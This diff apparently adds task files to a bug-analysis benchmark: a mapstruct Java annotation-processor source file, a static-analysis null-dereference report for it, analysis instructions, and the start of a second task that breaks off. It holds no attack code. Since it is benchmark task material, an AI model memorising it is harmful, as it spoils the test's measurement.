+import org.mapstruct.ap.prism.MapperPrism;
+import org.mapstruct.ap.util.Executables;
+import org.mapstruct.ap.util.Filters;
+import org.mapstruct.ap.util.Strings;
+
+/**
+ * A {@link ModelElementProcessor} which creates a {@link Mapper} from the given
+ * list of {@link Method}s.
+ *
+ * @author Gunnar Morling
+ */
+public class MapperCreationProcessor implements ModelElementProcessor<List<Method>, Mapper> {
+
+    private Elements elementUtils;
+    private Types typeUtils;
+    private Messager messager;
+    private Options options;
+
+    private TypeFactory typeFactory;
+    private Conversions conversions;
+
+    @Override
+    public Mapper process(ProcessorContext context, TypeElement mapperTypeElement, List<Method> sourceModel) {
+        this.elementUtils = context.getElementUtils();
+        this.typeUtils = context.getTypeUtils();
+        this.messager = context.getMessager();
+        this.options = context.getOptions();
+
+        this.typeFactory = context.getTypeFactory();
+        this.conversions = new Conversions( elementUtils, typeFactory );
+
+        return getMapper( mapperTypeElement, sourceModel );
+    }
+
+    @Override
+    public int getPriority() {
+        return 1000;
+    }
+
+    private Mapper getMapper(TypeElement element, List<Method> methods) {
+        ReportingPolicy unmappedTargetPolicy = getEffectiveUnmappedTargetPolicy( element );
+        List<MapperReference> mapperReferences = getReferencedMappers( element );
+        List<MappingMethod> mappingMethods = getMappingMethods( mapperReferences, methods, unmappedTargetPolicy );
+
+        return new Mapper.Builder()
+            .element( element )
+            .mappingMethods( mappingMethods )
+            .mapperReferences( mapperReferences )
+            .suppressGeneratorTimestamp( options.isSuppressGeneratorTimestamp() )
+            .typeFactory( typeFactory )
+            .elementUtils( elementUtils )
+            .build();
+    }
+
+    /**
+     * Returns the effective policy for reporting unmapped target properties. If
+     * explicitly set via {@code Mapper}, this value will be returned. Otherwise
+     * the value from the corresponding processor option will be returned. If
+     * that is not set either, the default value from
+     * {@code Mapper#unmappedTargetPolicy()} will be returned.
+     *
+     * @param element The type declaring the generated mapper type
+     *
+     * @return The effective policy for reporting unmapped target properties.
+     */
+    private ReportingPolicy getEffectiveUnmappedTargetPolicy(TypeElement element) {
+        MapperPrism mapperPrism = MapperPrism.getInstanceOn( element );
+        boolean setViaAnnotation = mapperPrism.values.unmappedTargetPolicy() != null;
+        ReportingPolicy annotationValue = ReportingPolicy.valueOf( mapperPrism.unmappedTargetPolicy() );
+
+        if ( setViaAnnotation ||
+            options.getUnmappedTargetPolicy() == null ) {
+            return annotationValue;
+        }
+        else {
+            return options.getUnmappedTargetPolicy();
+        }
+    }
+
+    private List<MapperReference> getReferencedMappers(TypeElement element) {
+        List<MapperReference> mapperReferences = new LinkedList<MapperReference>();
+        List<String> variableNames = new LinkedList<String>();
+
+        MapperPrism mapperPrism = MapperPrism.getInstanceOn( element );
+
+        for ( TypeMirror usedMapper : mapperPrism.uses() ) {
+            DefaultMapperReference mapperReference = DefaultMapperReference.getInstance(
+                typeFactory.getType( usedMapper ),
+                MapperPrism.getInstanceOn( typeUtils.asElement( usedMapper ) ) != null,
+                typeFactory,
+                variableNames
+            );
+
+            mapperReferences.add( mapperReference );
+            variableNames.add( mapperReference.getVariableName() );
+        }
+
+        return mapperReferences;
+    }
+
+    private List<MappingMethod> getMappingMethods(List<MapperReference> mapperReferences, List<Method> methods,
+                                                  ReportingPolicy unmappedTargetPolicy) {
+        List<MappingMethod> mappingMethods = new ArrayList<MappingMethod>();
+
+        for ( Method method : methods ) {
+            if ( !method.requiresImplementation() ) {
+                continue;
+            }
+
+
+            Method reverseMappingMethod = getReverseMappingMethod( methods, method );
+
+            boolean hasFactoryMethod = false;
+            if ( method.isIterableMapping() ) {
+                if ( method.getIterableMapping() == null && reverseMappingMethod != null &&
+                    reverseMappingMethod.getIterableMapping() != null ) {
+                    method.setIterableMapping( reverseMappingMethod.getIterableMapping() );
+                }
+                IterableMappingMethod iterableMappingMethod
+                    = getIterableMappingMethod( mapperReferences, methods, method );
+                hasFactoryMethod = iterableMappingMethod.getFactoryMethod() != null;
+                mappingMethods.add( iterableMappingMethod );
+            }
+            else if ( method.isMapMapping() ) {
+                if ( method.getMapMapping() == null && reverseMappingMethod != null &&
+                    reverseMappingMethod.getMapMapping() != null ) {
+                    method.setMapMapping( reverseMappingMethod.getMapMapping() );
+                }
+                MapMappingMethod mapMappingMethod = getMapMappingMethod( mapperReferences, methods, method );
+                hasFactoryMethod = mapMappingMethod.getFactoryMethod() != null;
+                mappingMethods.add( mapMappingMethod );
+            }
+            else {
+                if ( method.getMappings().isEmpty() ) {
+                    if ( reverseMappingMethod != null && !reverseMappingMethod.getMappings().isEmpty() ) {
+                        method.setMappings( reverse( reverseMappingMethod.getMappings() ) );
+                    }
+                }
+                BeanMappingMethod beanMappingMethod = getBeanMappingMethod(
+                    mapperReferences,
+                    methods,
+                    method,
+                    unmappedTargetPolicy
+                );
+                if ( beanMappingMethod != null ) {
+                    hasFactoryMethod = beanMappingMethod.getFactoryMethod() != null;
+                    mappingMethods.add( beanMappingMethod );
+                }
+            }
+
+            if ( !hasFactoryMethod ) {
+                // A factory method  is allowed to return an interface type and hence, the generated
+                // implementation as well. The check below must only be executed if there's no factory
+                // method that could be responsible.
+                reportErrorIfNoImplementationTypeIsRegisteredForInterfaceReturnType( method );
+            }
+        }
+        return mappingMethods;
+    }
+
+    private MethodReference getFactoryMethod(List<MapperReference> mapperReferences, List<Method> methods,
+                                             Type returnType) {
+        MethodReference result = null;
+        for ( Method method : methods ) {
+            if ( !method.requiresImplementation() && !method.isIterableMapping() && !method.isMapMapping()
+                && method.getMappings().isEmpty() && method.getParameters().isEmpty() ) {
+                if ( method.getReturnType().equals( returnType ) ) {
+                    if ( result == null ) {
+                        MapperReference mapperReference = null;
+                        for ( MapperReference ref : mapperReferences ) {
+                            if ( ref.getMapperType().equals( method.getDeclaringMapper() ) ) {
+                                mapperReference = ref;
+                                break;
+                            }
+                        }
+
+                        result = new MethodReference( method, mapperReference );
+                    }
+                    else {
+                        messager.printMessage(
+                            Kind.ERROR,
+                            String.format(
+                                "Ambigious factory methods: \"%s\" conflicts with \"%s\".",
+                                result,
+                                method
+                            ),
+                            method.getExecutable()
+                        );
+                    }
+                }
+            }
+        }
+        return result;
+    }
+
+    private void reportErrorIfNoImplementationTypeIsRegisteredForInterfaceReturnType(Method method) {
+        if ( method.getReturnType().getTypeMirror().getKind() != TypeKind.VOID &&
+            method.getReturnType().isInterface() &&
+            method.getReturnType().getImplementationType() == null ) {
+            messager.printMessage(
+                Kind.ERROR,
+                String.format(
+                    "No implementation type is registered for return type %s.",
+                    method.getReturnType()
+                ),
+                method.getExecutable()
+            );
+        }
+    }
+
+    private Map<String, List<Mapping>> reverse(Map<String, List<Mapping>> mappings) {
+        Map<String, List<Mapping>> reversed = new HashMap<String, List<Mapping>>();
+
+        for ( List<Mapping> mappingList : mappings.values() ) {
+            for ( Mapping mapping : mappingList ) {
+                if ( !reversed.containsKey( mapping.getTargetName() ) ) {
+                    reversed.put( mapping.getTargetName(), new ArrayList<Mapping>() );
+                }
+                reversed.get( mapping.getTargetName() ).add( mapping.reverse() );
+            }
+        }
+        return reversed;
+    }
+
+    private PropertyMapping getPropertyMapping(List<MapperReference> mapperReferences, List<Method> methods,
+                                               Method method, ExecutableElement targetAcessor, Parameter parameter) {
+        String targetPropertyName = Executables.getPropertyName( targetAcessor );
+        Mapping mapping = method.getMapping( targetPropertyName );
+        String dateFormat = mapping != null ? mapping.getDateFormat() : null;
+        String sourcePropertyName = mapping != null ? mapping.getSourcePropertyName() : targetPropertyName;
+        TypeElement parameterElement = parameter.getType().getTypeElement();
+        List<ExecutableElement> sourceGetters = Filters.getterMethodsIn(
+            elementUtils.getAllMembers( parameterElement )
+        );
+
+        for ( ExecutableElement sourceAccessor : sourceGetters ) {
+
+            List<Mapping> sourceMappings = method.getMappings().get( sourcePropertyName );
+            if ( method.getMappings().containsKey( sourcePropertyName ) ) {
+                for ( Mapping sourceMapping : sourceMappings ) {
+                    boolean mapsToOtherTarget = !sourceMapping.getTargetName().equals( targetPropertyName );
+                    if ( Executables.getPropertyName( sourceAccessor ).equals( sourcePropertyName ) &&
+                        !mapsToOtherTarget ) {
+                        return getPropertyMapping(
+                            mapperReferences,
+                            methods,
+                            method,
+                            parameter,
+                            sourceAccessor,
+                            targetAcessor,
+                            dateFormat
+                        );
+                    }
+                }
+            }
+            else if ( Executables.getPropertyName( sourceAccessor ).equals( sourcePropertyName ) ) {
+                return getPropertyMapping(
+                    mapperReferences,
+                    methods,
+                    method,
+                    parameter,
+                    sourceAccessor,
+                    targetAcessor,
+                    dateFormat
+                );
+            }
+        }
+
+        return null;
+    }
+
+    private BeanMappingMethod getBeanMappingMethod(List<MapperReference> mapperReferences, List<Method> methods,
+                                                   Method method, ReportingPolicy unmappedTargetPolicy) {
+        List<PropertyMapping> propertyMappings = new ArrayList<PropertyMapping>();
+        Set<String> mappedTargetProperties = new HashSet<String>();
+
+        if ( !reportErrorIfMappedPropertiesDontExist( method ) ) {
+            return null;
+        }
+
+        TypeElement resultTypeElement = method.getResultType().getTypeElement();
+        List<ExecutableElement> targetAccessors = Filters.setterMethodsIn(
+            elementUtils.getAllMembers( resultTypeElement )
+        );
+        targetAccessors.addAll(
+            alternativeTargetAccessorMethodsIn(
+                elementUtils.getAllMembers( resultTypeElement )
+            )
+        );
+
+        for ( ExecutableElement targetAccessor : targetAccessors ) {
+            String targetPropertyName = Executables.getPropertyName( targetAccessor );
+
+            Mapping mapping = method.getMapping( targetPropertyName );
+
+            PropertyMapping propertyMapping = null;
+            if ( mapping != null && mapping.getSourceParameterName() != null ) {
+                Parameter parameter = method.getSourceParameter( mapping.getSourceParameterName() );
+                propertyMapping = getPropertyMapping( mapperReferences, methods, method, targetAccessor, parameter );
+            }
+
+            if ( propertyMapping == null ) {
+                for ( Parameter sourceParameter : method.getSourceParameters() ) {
+                    PropertyMapping newPropertyMapping = getPropertyMapping(
+                        mapperReferences,
+                        methods,
+                        method,
+                        targetAccessor,
+                        sourceParameter
+                    );
+                    if ( propertyMapping != null && newPropertyMapping != null ) {
+                        messager.printMessage(
+                            Kind.ERROR,
+                            "Several possible source properties for target property \"" + targetPropertyName + "\".",
+                            method.getExecutable()
+                        );
+                        break;
+                    }
+                    else if ( newPropertyMapping != null ) {
+                        propertyMapping = newPropertyMapping;
+                    }
+                }
+            }
+
+            if ( propertyMapping != null ) {
+                propertyMappings.add( propertyMapping );
+                mappedTargetProperties.add( targetPropertyName );
+            }
+        }
+
+        Set<String> targetProperties = Executables.getPropertyNames( targetAccessors );
+
+        reportErrorForUnmappedTargetPropertiesIfRequired(
+            method,
+            unmappedTargetPolicy,
+            targetProperties,
+            mappedTargetProperties
+        );
+
+        MethodReference factoryMethod = getFactoryMethod( mapperReferences, methods, method.getReturnType() );
+        return new BeanMappingMethod( method, propertyMappings, factoryMethod );
+    }
+
+    private void reportErrorForUnmappedTargetPropertiesIfRequired(Method method,
+                                                                  ReportingPolicy unmappedTargetPolicy,
+                                                                  Set<String> targetProperties,
+                                                                  Set<String> mappedTargetProperties) {
+
+        if ( targetProperties.size() > mappedTargetProperties.size() &&
+            unmappedTargetPolicy.requiresReport() ) {
+            targetProperties.removeAll( mappedTargetProperties );
+            messager.printMessage(
+                unmappedTargetPolicy.getDiagnosticKind(),
+                MessageFormat.format(
+                    "Unmapped target {0,choice,1#property|1<properties}: \"{1}\"",
+                    targetProperties.size(),
+                    Strings.join( targetProperties, ", " )
+                ),
+                method.getExecutable()
+            );
+        }
+    }
+
+    private Method getReverseMappingMethod(List<Method> rawMethods, Method method) {
+        for ( Method oneMethod : rawMethods ) {
+            if ( oneMethod.reverses( method ) ) {
+                return oneMethod;
+            }
+        }
+        return null;
+    }
+
+    private boolean hasSourceProperty(Method method, String propertyName) {
+        for ( Parameter parameter : method.getSourceParameters() ) {
+            if ( hasSourceProperty( parameter, propertyName ) ) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private boolean hasSourceProperty(Parameter parameter, String propertyName) {
+        TypeElement parameterTypeElement = parameter.getType().getTypeElement();
+        List<ExecutableElement> getters = Filters.getterMethodsIn(
+            elementUtils.getAllMembers( parameterTypeElement )
+        );
+
+        return Executables.getPropertyNames( getters ).contains( propertyName );
+    }
+
+    private boolean reportErrorIfMappedPropertiesDontExist(Method method) {
+        // only report errors if this method itself is configured
+        if ( method.isConfiguredByReverseMappingMethod() ) {
+            return true;
+        }
+
+        TypeElement resultTypeElement = method.getResultType().getTypeElement();
+        List<ExecutableElement> targetAccessors = Filters.setterMethodsIn(
+            elementUtils.getAllMembers( resultTypeElement )
+        );
+        targetAccessors.addAll(
+            alternativeTargetAccessorMethodsIn(
+                elementUtils.getAllMembers( resultTypeElement )
+            )
+        );
+        Set<String> targetProperties = Executables.getPropertyNames( targetAccessors );
+
+        boolean foundUnmappedProperty = false;
+
+        for ( List<Mapping> mappedProperties : method.getMappings().values() ) {
+            for ( Mapping mappedProperty : mappedProperties ) {
+                if ( mappedProperty.getSourceParameterName() != null ) {
+                    Parameter sourceParameter = method.getSourceParameter( mappedProperty.getSourceParameterName() );
+
+                    if ( sourceParameter == null ) {
+                        messager.printMessage(
+                            Kind.ERROR,
+                            String.format(
+                                "Method has no parameter named \"%s\".",
+                                mappedProperty.getSourceParameterName()
+                            ),
+                            method.getExecutable(),
+                            mappedProperty.getMirror(),
+                            mappedProperty.getSourceAnnotationValue()
+                        );
+                        foundUnmappedProperty = true;
+                    }
+                    else {
+                        if ( !hasSourceProperty( sourceParameter, mappedProperty.getSourcePropertyName() ) ) {
+                            messager.printMessage(
+                                Kind.ERROR,
+                                String.format(
+                                    "The type of parameter \"%s\" has no property named \"%s\".",
+                                    mappedProperty.getSourceParameterName(),
+                                    mappedProperty.getSourcePropertyName()
+                                ),
+                                method.getExecutable(),
+                                mappedProperty.getMirror(),
+                                mappedProperty.getSourceAnnotationValue()
+                            );
+                            foundUnmappedProperty = true;
+                        }
+                    }
+
+                }
+                else if ( !hasSourceProperty(
+                    method,
+                    mappedProperty.getSourcePropertyName()
+                ) ) {
+                    messager.printMessage(
+                        Kind.ERROR,
+                        String.format(
+                            "No property named \"%s\" exists in source parameter(s).",
+                            mappedProperty.getSourceName()
+                        ),
+                        method.getExecutable(),
+                        mappedProperty.getMirror(),
+                        mappedProperty.getSourceAnnotationValue()
+                    );
+                    foundUnmappedProperty = true;
+                }
+                if ( !targetProperties.contains( mappedProperty.getTargetName() ) ) {
+                    messager.printMessage(
+                        Kind.ERROR,
+                        String.format(
+                            "Unknown property \"%s\" in return type %s.",
+                            mappedProperty.getTargetName(),
+                            method.getResultType()
+                        ),
+                        method.getExecutable(),
+                        mappedProperty.getMirror(),
+                        mappedProperty.getTargetAnnotationValue()
+                    );
+                    foundUnmappedProperty = true;
+                }
+            }
+        }
+        return !foundUnmappedProperty;
+    }
+
+    private PropertyMapping getPropertyMapping(List<MapperReference> mapperReferences, List<Method> methods,
+                                               Method method, Parameter parameter, ExecutableElement sourceAccessor,
+                                               ExecutableElement targetAcessor, String dateFormat) {
+        Type sourceType = typeFactory.getReturnType( sourceAccessor );
+        Type targetType = null;
+        String conversionString = null;
+        conversionString = parameter.getName() + "." + sourceAccessor.getSimpleName().toString() + "()";
+
+        if ( Executables.isSetterMethod( targetAcessor ) ) {
+            targetType = typeFactory.getSingleParameter( targetAcessor ).getType();
+        }
+        else if ( Executables.isGetterMethod( targetAcessor ) ) {
+            targetType = typeFactory.getReturnType( targetAcessor );
+        }
+
+        MethodReference propertyMappingMethod = getMappingMethodReference(
+            mapperReferences,
+            methods,
+            sourceType,
+            targetType
+        );
+        TypeConversion conversion = getConversion(
+            sourceType,
+            targetType,
+            dateFormat,
+            conversionString
+        );
+
+        PropertyMapping property = new PropertyMapping(
+            parameter.getName(),
+            Executables.getPropertyName( sourceAccessor ),
+            sourceAccessor.getSimpleName().toString(),
+            sourceType,
+            Executables.getPropertyName( targetAcessor ),
+            targetAcessor.getSimpleName().toString(),
+            targetType,
+            propertyMappingMethod,
+            conversion
+        );
+
+        reportErrorIfPropertyCanNotBeMapped(
+            method,
+            property
+        );
+
+        return property;
+    }
+
+    private IterableMappingMethod getIterableMappingMethod(List<MapperReference> mapperReferences, List<Method> methods,
+                                                           Method method) {
+        Type sourceElementType = method.getSourceParameters().iterator().next().getType().getTypeParameters().get( 0 );
+        Type targetElementType = method.getResultType().getTypeParameters().get( 0 );
+
+        TypeConversion conversion = getConversion(
+            sourceElementType,
+            targetElementType,
+            method.getIterableMapping() != null ? method.getIterableMapping().getDateFormat() : null,
+            Strings.getSaveVariableName(
+                sourceElementType.getName(),
+                method.getParameterNames()
+            )
+        );
+
+        MethodReference elementMappingMethod =
+            getMappingMethodReference( mapperReferences, methods, sourceElementType, targetElementType );
+
+        if ( !sourceElementType.isAssignableTo( targetElementType ) && conversion == null &&
+            elementMappingMethod == null ) {
+            messager.printMessage(
+                Kind.ERROR,
+                String.format(
+                    "Can't create implementation of method %s. Found no method nor built-in conversion for mapping "
+                        + "source element type into target element type.",
+                    method
+                ),
+                method.getExecutable()
+            );
+        }
+
+        MethodReference factoryMethod = getFactoryMethod( mapperReferences, methods, method.getReturnType() );
+        return new IterableMappingMethod(
+            method,
+            elementMappingMethod,
+            conversion,
+            factoryMethod
+        );
+    }
+
+    private MapMappingMethod getMapMappingMethod(List<MapperReference> mapperReferences, List<Method> methods,
+                                                 Method method) {
+        List<Type> sourceTypeParams = method.getSourceParameters().iterator().next().getType().getTypeParameters();
+        Type sourceKeyType = sourceTypeParams.get( 0 );
+        Type sourceValueType = sourceTypeParams.get( 1 );
+
+        List<Type> resultTypeParams = method.getResultType().getTypeParameters();
+        Type targetKeyType = resultTypeParams.get( 0 );
+        Type targetValueType = resultTypeParams.get( 1 );
+
+        String keyDateFormat = method.getMapMapping() != null ? method.getMapMapping().getKeyFormat() : null;
+        String valueDateFormat = method.getMapMapping() != null ? method.getMapMapping().getValueFormat() : null;
+
+        TypeConversion keyConversion = getConversion( sourceKeyType, targetKeyType, keyDateFormat, "entry.getKey()" );
+        TypeConversion valueConversion = getConversion(
+            sourceValueType,
+            targetValueType,
+            valueDateFormat,
+            "entry.getValue()"
+        );
+
+        MethodReference keyMappingMethod = getMappingMethodReference(
+            mapperReferences,
+            methods,
+            sourceKeyType,
+            targetKeyType
+        );
+        MethodReference valueMappingMethod = getMappingMethodReference(
+            mapperReferences,
+            methods,
+            sourceValueType,
+            targetValueType
+        );
+
+        if ( !sourceKeyType.isAssignableTo( targetKeyType ) && keyConversion == null && keyMappingMethod == null ) {
+            messager.printMessage(
+                Kind.ERROR,
+                String.format(
+                    "Can't create implementation of method %s. Found no method nor built-in conversion for mapping "
+                        + "source key type to target key type.",
+                    method
+                ),
+                method.getExecutable()
+            );
+        }
+
+        if ( !sourceValueType.isAssignableTo( targetValueType ) && valueConversion == null &&
+            valueMappingMethod == null ) {
+            messager.printMessage(
+                Kind.ERROR,
+                String.format(
+                    "Can't create implementation of method %s. Found no method nor built-in conversion for mapping "
+                        + "source value type to target value type.",
+                    method
+                ),
+                method.getExecutable()
+            );
+        }
+
+        MethodReference factoryMethod = getFactoryMethod( mapperReferences, methods, method.getReturnType() );
+        return new MapMappingMethod(
+            method, keyMappingMethod, keyConversion, valueMappingMethod, valueConversion,
+            factoryMethod
+        );
+    }
+
+    private TypeConversion getConversion(Type sourceType, Type targetType, String dateFormat, String sourceReference) {
+        ConversionProvider conversionProvider = conversions.getConversion( sourceType, targetType );
+
+        if ( conversionProvider == null ) {
+            return null;
+        }
+
+        return conversionProvider.to(
+            sourceReference,
+            new DefaultConversionContext( typeFactory, targetType, dateFormat )
+        );
+    }
+
+    private MethodReference getMappingMethodReference(List<MapperReference> mapperReferences,
+                                                      Iterable<Method> methods, Type parameterType,
+                                                      Type returnType) {
+        List<Method> candidatesWithMathingTargetType = new ArrayList<Method>();
+
+        for ( Method method : methods ) {
+            if ( method.getSourceParameters().size() != 1 ) {
+                continue;
+            }
+
+            MethodMatcher m = new MethodMatcher( typeUtils, method, returnType, parameterType );
+            if ( m.matches() ) {
+                candidatesWithMathingTargetType.add( method );
+            }
+        }
+
+        List<Method> candidatesWithBestMatchingSourceType = new ArrayList<Method>();
+        int bestMatchingSourceTypeDistance = Integer.MAX_VALUE;
+
+        // find the methods with the minimum distance regarding source parameter type
+        for ( Method method : candidatesWithMathingTargetType ) {
+            Parameter singleSourceParam = method.getSourceParameters().iterator().next();
+
+            int sourceTypeDistance = parameterType.distanceTo( singleSourceParam.getType() );
+            bestMatchingSourceTypeDistance =
+                addToCandidateListIfMinimal(
+                    candidatesWithBestMatchingSourceType,
+                    bestMatchingSourceTypeDistance,
+                    method,
+                    sourceTypeDistance
+                );
+        }
+
+        if ( candidatesWithBestMatchingSourceType.isEmpty() ) {
+            return null;
+        }
+
+        // print a warning if we find more than one method with minimum source type distance
+        if ( candidatesWithBestMatchingSourceType.size() > 1 ) {
+            messager.printMessage(
+                Kind.ERROR,
+                String.format(
+                    "Ambiguous mapping methods found for mapping from %s to %s: %s.",
+                    parameterType,
+                    returnType,
+                    candidatesWithBestMatchingSourceType
+                )
+            );
+        }
+
+        Method method = candidatesWithBestMatchingSourceType.get( 0 );
+        MapperReference mapperReference = null;
+
+        for ( MapperReference ref : mapperReferences ) {
+            if ( ref.getMapperType().equals( method.getDeclaringMapper() ) ) {
+                mapperReference = ref;
+                break;
+            }
+        }
+
+        return new MethodReference( method, mapperReference );
+    }
+
+    private int addToCandidateListIfMinimal(List<Method> candidatesWithBestMathingType, int bestMatchingTypeDistance,
+                                            Method method, int currentTypeDistance) {
+        if ( currentTypeDistance == bestMatchingTypeDistance ) {
+            candidatesWithBestMathingType.add( method );
+        }
+        else if ( currentTypeDistance < bestMatchingTypeDistance ) {
+            bestMatchingTypeDistance = currentTypeDistance;
+
+            candidatesWithBestMathingType.clear();
+            candidatesWithBestMathingType.add( method );
+        }
+        return bestMatchingTypeDistance;
+    }
+
+    /**
+     * Reports an error if source the property can't be mapped from source to target. A mapping if possible if one of
+     * the following conditions is true:
+     * <ul>
+     * <li>the source type is assignable to the target type</li>
+     * <li>a mapping method exists</li>
+     * <li>a built-in conversion exists</li>
+     * <li>the property is of a collection or map type and the constructor of the target type (either itself or its
+     * implementation type) accepts the source type.</li>
+     * </ul>
+     *
+     * @param method The mapping method owning the property mapping.
+     * @param property The property mapping to check.
+     */
+    private void reportErrorIfPropertyCanNotBeMapped(Method method, PropertyMapping property) {
+        boolean collectionOrMapTargetTypeHasCompatibleConstructor = false;
+
+        if ( property.getTargetType().isCollectionType() || property.getTargetType().isMapType() ) {
+            if ( property.getTargetType().getImplementationType() != null ) {
+                collectionOrMapTargetTypeHasCompatibleConstructor = hasCompatibleConstructor(
+                    property.getSourceType(),
+                    property.getTargetType().getImplementationType()
+                );
+            }
+            else {
+                collectionOrMapTargetTypeHasCompatibleConstructor = hasCompatibleConstructor(
+                    property.getSourceType(),
+                    property.getTargetType()
+                );
+            }
+        }
+
+        if ( property.getSourceType().isAssignableTo( property.getTargetType() ) ||
+            property.getMappingMethod() != null ||
+            property.getConversion() != null ||
+            ( ( property.getTargetType().isCollectionType() || property.getTargetType().isMapType() ) &&
+                collectionOrMapTargetTypeHasCompatibleConstructor ) ) {
+            return;
+        }
+
+        messager.printMessage(
+            Kind.ERROR,
+            String.format(
+                "Can't map property \"%s %s\" to \"%s %s\".",
+                property.getSourceType(),
+                property.getSourceName(),
+                property.getTargetType(),
+                property.getTargetName()
+            ),
+            method.getExecutable()
+        );
+    }
+
+    /**
+     * Whether the given target type has a single-argument constructor which accepts the given source type.
+     *
+     * @param sourceType the source type
+     * @param targetType the target type
+     *
+     * @return {@code true} if the target type has a constructor accepting the given source type, {@code false}
+     *         otherwise.
+     */
+    private boolean hasCompatibleConstructor(Type sourceType, Type targetType) {
+        List<ExecutableElement> targetTypeConstructors = ElementFilter.constructorsIn(
+            targetType.getTypeElement()
+                .getEnclosedElements()
+        );
+
+        for ( ExecutableElement constructor : targetTypeConstructors ) {
+            if ( constructor.getParameters().size() != 1 ) {
+                continue;
+            }
+
+            //get the constructor resolved against the type arguments of specific target type
+            ExecutableType typedConstructor = (ExecutableType) typeUtils.asMemberOf(
+                (DeclaredType) targetType.getTypeMirror(), constructor
+            );
+
+            if ( typeUtils.isAssignable(
+                sourceType.getTypeMirror(),
+                typedConstructor.getParameterTypes().iterator().next()
+            ) ) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * A getter could be an alternative target-accessor if a setter is not available, and the
+     * target is a collection.
+     *
+     * Provided such a getter is initialized lazy by the target class, e.g. in generated JAXB beans.
+     *
+     * @param elements
+     *
+     * @return
+     */
+    private List<ExecutableElement> alternativeTargetAccessorMethodsIn(Iterable<? extends Element> elements) {
+        List<ExecutableElement> setterMethods = Filters.setterMethodsIn( elements );
+        List<ExecutableElement> getterMethods = Filters.getterMethodsIn( elements );
+        List<ExecutableElement> alternativeTargetAccessorsMethods = new LinkedList<ExecutableElement>();
+
+        if ( getterMethods.size() > setterMethods.size() ) {
+            // there could be a getter method for a list that is not present as setter.
+            // a getter could substitute the setter in that case and act as setter.
+            // (assuming it is initialized)
+            for ( ExecutableElement getterMethod : getterMethods ) {
+                boolean matchFound = false;
+                String getterPropertyName = Executables.getPropertyName( getterMethod );
+                for ( ExecutableElement setterMethod : setterMethods ) {
+                    String setterPropertyName = Executables.getPropertyName( setterMethod );
+                    if ( getterPropertyName.equals( setterPropertyName ) ) {
+                        matchFound = true;
+                        break;
+                    }
+                }
+                if ( !matchFound && typeFactory.getReturnType( getterMethod ).isCollectionType() ) {
+                    alternativeTargetAccessorsMethods.add( getterMethod );
+                }
+            }
+        }
+
+        return alternativeTargetAccessorsMethods;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `MapperCreationProcessor.typeFactory.getSingleParameter(targetAcessor)` could be null and is dereferenced at line 553.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+PropertyMapping MapperCreationProcessor.getPropertyMapping(List,List,Method,Parameter,ExecutableElement,ExecutableElement,String)
+
+### Procedure Id:
+org.mapstruct.ap.processor.MapperCreationProcessor.getPropertyMapping(java.util.List,java.util.List,.ed59962257053a51489455de0707cf28
+
+### File:
+processor/src/main/java/org/mapstruct/ap/processor/MapperCreationProcessor.java
+
+### Key:
+MapperCreationProcessor.java|getPropertyMapping|NULL_DEREFERENCE
+
+### Node Key:
+56f09063d24d4854f0ef53cbc8111ae7
+
+### Hash:
+3d34be004f45ee08eabeded73b4cfafe
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4539/instruction.md b/inferredbugs-4539/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..709a4cbdd8dba73f8b3f3bcc5bf239c671bbc50f
--- /dev/null
+++ b/inferredbugs-4539/instruction.md
@@ -0,0 +1,138 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mapstruct
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2012-2013 Gunnar Morling (http://www.gunnarmorling.de/)
+ *  and/or other contributors as indicated by the @authors tag. See the
+ *  copyright.txt file in the distribution for a full listing of all
+ *  contributors.
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package org.mapstruct.ap.processor;
+
+import java.util.ListIterator;
+import javax.lang.model.element.TypeElement;
+
+import org.mapstruct.ap.MapperPrism;
+import org.mapstruct.ap.model.Annotation;
+import org.mapstruct.ap.model.CdiMapperReference;
+import org.mapstruct.ap.model.Mapper;
+import org.mapstruct.ap.model.MapperReference;
+import org.mapstruct.ap.model.Type;
+
+/**
+ * A {@link ModelElementProcessor} which converts the given {@link Mapper}
+ * object into an application-scoped CDI bean in case CDI is configured as the
+ * target component model for this mapper.
+ *
+ * @author Gunnar Morling
+ */
+public class CdiComponentProcessor implements ModelElementProcessor<Mapper, Mapper> {
+
+    @Override
+    public Mapper process(ProcessorContext context, TypeElement mapperTypeElement, Mapper mapper) {
+        String componentModel = MapperPrism.getInstanceOn( mapperTypeElement ).componentModel();
+
+        if ( !componentModel.equals( "cdi" ) ) {
+            return mapper;
+        }
+
+        mapper.addAnnotation( new Annotation( new Type( "javax.enterprise.context", "ApplicationScoped" ) ) );
+
+        ListIterator<MapperReference> iterator = mapper.getReferencedMappers().listIterator();
+        while ( iterator.hasNext() ) {
+            MapperReference reference = iterator.next();
+            iterator.remove();
+            iterator.add( new CdiMapperReference( reference.getMapperType() ) );
+        }
+
+        return mapper;
+    }
+
+    @Override
+    public int getPriority() {
+        return 1100;
+    }
+}
+
+```
+
+### Bug Class:
